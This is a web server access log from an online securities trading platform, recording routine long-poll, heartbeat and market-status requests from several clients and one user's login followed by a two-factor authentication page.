[09/Jan/2026:09:32:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922636545 HTTP/1.1" -
[09/Jan/2026:09:32:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922634664 HTTP/1.1" -
[09/Jan/2026:09:32:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922649747 HTTP/1.1" -
[09/Jan/2026:09:32:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922637296 HTTP/1.1" -
[09/Jan/2026:09:32:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922637054 HTTP/1.1" -
[09/Jan/2026:09:32:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922641782 HTTP/1.1" -
[09/Jan/2026:09:32:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922639686 HTTP/1.1" -
[09/Jan/2026:09:32:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922654802 HTTP/1.1" -
[09/Jan/2026:09:32:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:54 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922643289 HTTP/1.1" -
[09/Jan/2026:09:32:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922643057 HTTP/1.1" -
[09/Jan/2026:09:32:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922646924 HTTP/1.1" -
[09/Jan/2026:09:32:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922644715 HTTP/1.1" -
[09/Jan/2026:09:32:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922659825 HTTP/1.1" -
[09/Jan/2026:09:33:00 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922649290 HTTP/1.1" -
[09/Jan/2026:09:33:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922651986 HTTP/1.1" -
[09/Jan/2026:09:33:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922649053 HTTP/1.1" -
[09/Jan/2026:09:33:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922649741 HTTP/1.1" -
[09/Jan/2026:09:33:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922664847 HTTP/1.1" -
[09/Jan/2026:09:33:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922654319 HTTP/1.1" -
[09/Jan/2026:09:33:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922657148 HTTP/1.1" -
[09/Jan/2026:09:33:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922654782 HTTP/1.1" -
[09/Jan/2026:09:33:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922669876 HTTP/1.1" -
[09/Jan/2026:09:33:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922655057 HTTP/1.1" -
[09/Jan/2026:09:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922662269 HTTP/1.1" -
[09/Jan/2026:09:33:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922659827 HTTP/1.1" -
[09/Jan/2026:09:33:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922674947 HTTP/1.1" -
[09/Jan/2026:09:33:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922661060 HTTP/1.1" -
[09/Jan/2026:09:33:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922667417 HTTP/1.1" -
[09/Jan/2026:09:33:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922664869 HTTP/1.1" -
[09/Jan/2026:09:33:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922679980 HTTP/1.1" -
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:33:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:33:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922666944 HTTP/1.1" 3188
[09/Jan/2026:09:33:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:33:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922667053 HTTP/1.1" -
[09/Jan/2026:09:33:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922669902 HTTP/1.1" -
[09/Jan/2026:09:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922672557 HTTP/1.1" -
[09/Jan/2026:09:33:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922685024 HTTP/1.1" -
[09/Jan/2026:09:33:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922673053 HTTP/1.1" -
[09/Jan/2026:09:33:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:33:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:33:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:33:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922674936 HTTP/1.1" -
[09/Jan/2026:09:33:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 467
[09/Jan/2026:09:33:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
